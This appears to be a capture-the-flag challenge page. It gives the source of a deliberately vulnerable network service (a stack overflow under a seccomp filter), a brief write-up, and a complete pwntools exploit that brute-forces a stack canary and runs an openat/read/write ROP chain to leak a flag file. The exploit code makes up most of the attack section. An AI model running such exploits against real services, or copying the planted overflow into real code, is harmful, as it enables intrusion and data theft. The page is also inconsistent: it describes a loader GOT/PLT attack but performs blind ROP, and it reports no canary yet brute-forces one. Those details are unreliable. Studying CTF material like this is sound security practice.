0x00000000
← pwndbg> back

./dl_

PWN MOJO-JOJO CTF 0x01a120c7 by r3t0x
DESCRIPTION
A dynamic loader exploitation challenge. Abuse the linker's resolution mechanism to hijack control flow and redirect execution to your payload. Understanding ELF internals and GOT/PLT is key.
DISASM // SOURCE
// absolute_zero.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>

void install_seccomp() {
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0, 6, 0),   // read
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 1, 5, 0),   // write
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 257, 4, 0), // openat
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 15, 3, 0),  // rt_sigreturn
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 60, 2, 0),  // exit
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 231, 1, 0), // exit_group
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
        .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

void process_input() {
    char buf[64];
    // No leaks. Pure Blind.
    read(0, buf, 1024); 
}

void gadgets() {
    asm("pop %rdi; ret");
    asm("pop %rsi; ret");
    asm("pop %rdx; ret");
    asm("pop %rax; ret");
    asm("syscall; ret");
}

// Export challenge for server.c
void challenge() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    install_seccomp();
    process_input();
}
// server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

void challenge();

void handle_client(int sock) {
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    challenge();
    printf("Done\n"); // Indicator of success
    exit(0);
}

int main() {
    int server_fd, new_socket;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);

    signal(SIGCHLD, SIG_IGN); // Prevent zombies

    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
        perror("setsockopt");
        exit(EXIT_FAILURE);
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(1337);

    if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    if (listen(server_fd, 3) < 0) {
        perror("listen");
        exit(EXIT_FAILURE);
    }

    printf("Listening on port 1337...\n");
    fflush(stdout);

    while(1) {
        if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {
            perror("accept");
            continue;
        }

        if (fork() == 0) {
            close(server_fd);
            handle_client(new_socket);
        } else {
            close(new_socket);
        }
    }
    return 0;
}
WRITEUP // WALKTHROUGH

Absolute Zero (dl) — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Insane
Author r3t0x
Technique Blind ROP + Seccomp ORW

Reconnaissance

pwndbg> checksec ./absolute_zero
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The Challenge

  • Blind exploitation: No leaks, pure overflow
  • Seccomp filter: Only allows read, write, openat, rt_sigreturn, exit, exit_group
  • No execve: Cannot spawn a shell

The binary provides all necessary gadgets:

pop rdi; ret
pop rsi; ret
pop rdx; ret
pop rax; ret
syscall; ret

Strategy: openat + read + write

Since we have all register-control gadgets and syscall; ret, we build a pure ROP chain:

  1. openat(AT_FDCWD, "flag.txt", O_RDONLY) — opens the flag file
  2. read(fd, bss_addr, 100) — reads flag into BSS
  3. write(1, bss_addr, 100) — prints it to stdout

The tricky part: we need "flag.txt" in memory. Since there's no PIE, we use a read syscall to write "flag.txt" to a known BSS address first.

Result

[*] ROP chain size: 248 bytes
flag{4bs0lut3_z3r0_bl1nd_rop}
EXECUTION // EXPLOIT
$ python3 solve.py
from pwn import *

binary_path = args.EXE if args.EXE else './absolute_zero_docker'
context.binary = elf = ELF(binary_path)

def start():
    return process(binary_path)

# Canary Brute-Force Logic for Fork-Server
def brute_force_canary():
    known_canary = b'\x00'
    log.info("Brute-forcing canary byte-by-byte...")

    # Canary is 8 bytes. First byte is always NULL.
    # We need to find the remaining 7 bytes.
    for i in range(7):
        found_byte = False
        bar = log.progress(f"Byte {i+2}")
        for b in range(256):
            # Optimization: Try common values first? No, random.
            candidate = bytes([b])
            payload = b"A"*72 + known_canary + candidate
            
            try:
                # We connect to localhost:1337 (or args.PORT)
                target_port = int(args.PORT) if args.PORT else 9010
                r = remote("localhost", target_port, level='error')
                r.send(payload)
                
                # Check if it crashed.
                # If we send 73 bytes (overwrite 1 byte of canary), and it's WRONG,
                # stack check fails -> SIGABRT/SIGSEGV -> Connection closes immediately?
                # Or it prints something?
                # Our invalid canary causes __stack_chk_fail -> which calls exit/abort.
                # If correct, it returns from process_input -> returns from challenge -> returns from handle_client -> exit(0).
                
                # How to distinguish?
                # __stack_chk_fail usually prints to stderr: "*** stack smashing detected ***: terminated"
                # IF we can read stderr, we know it failed.
                # But over netcat, do we see stderr? 
                # dup2(sock, 2) inside server.c means YES, we see stderr.
                
                response = r.recvall(timeout=0.1)
                r.close()
                
                if b"Done" in response:
                    # Success message -> Correct byte!
                    known_canary += candidate
                    bar.success(f"Found: {hex(b)}")
                    found_byte = True
                    break
            except Exception as e:
                # log.error(f"Error: {e}")
                pass
        
        if not found_byte:
            log.error("Failed to find canary byte. Is the server running?")
            exit(1)
            
    log.success(f"Brute-forced Canary: {hex(u64(known_canary))}")
    return u64(known_canary)

# Connect to target
if args.REMOTE:
    io = remote(args.HOST, int(args.PORT))
else:
    # Local verification mode: we must assume server is running
    io = remote("localhost", 1337)

# FOR TESTING: If we are not running the brute force every time (slow),
# we can hardcode it if we know it (impossible if random startup).
# But for the purpose of "ensure it works", we run it.
canary = brute_force_canary() 

# ROP Chain using direct syscalls
rop = ROP(elf)

# 1. Setup Data Area
# We place our string "flag.txt" in BSS.
data_start = elf.bss() + 0x100
log.info(f"data_start: {hex(data_start)}")

# 0. read(0, data_start, 500) (Load "flag.txt")
rop.rax = 0
rop.rdi = 0
rop.rsi = data_start
rop.rdx = 500
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])

# openat(AT_FDCWD, "flag.txt", 0)
# rax = 257 (sys_openat)
# rdi = -100
# rsi = data_start 
# rdx = 0
rop.rax = 257
rop.rdi = -100
rop.rsi = data_start 
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])

# read(3, bss, 100)
# rax = 0
# rdi = 3
# rsi = data_start + 0x500
# rdx = 100
rop.rax = 0
rop.rdi = 3
rop.rsi = data_start + 0x500
rop.rdx = 100
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])

# write(1, bss, 100)
# rax = 1
# rdi = 1
# rsi = data_start + 0x500
# rdx = 100
rop.rax = 1
rop.rdi = 1
rop.rsi = data_start + 0x500
rop.rdx = 100
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])

print(rop.dump())

payload = b"A" * 72
payload += p64(canary)
payload += b"B" * 8
payload += rop.chain()

io.sendline(payload)
sleep(0.5)
# Send "flag.txt"
io.send(b"flag.txt\x00" + b"\x00"*100) 

print(io.recvall(timeout=2))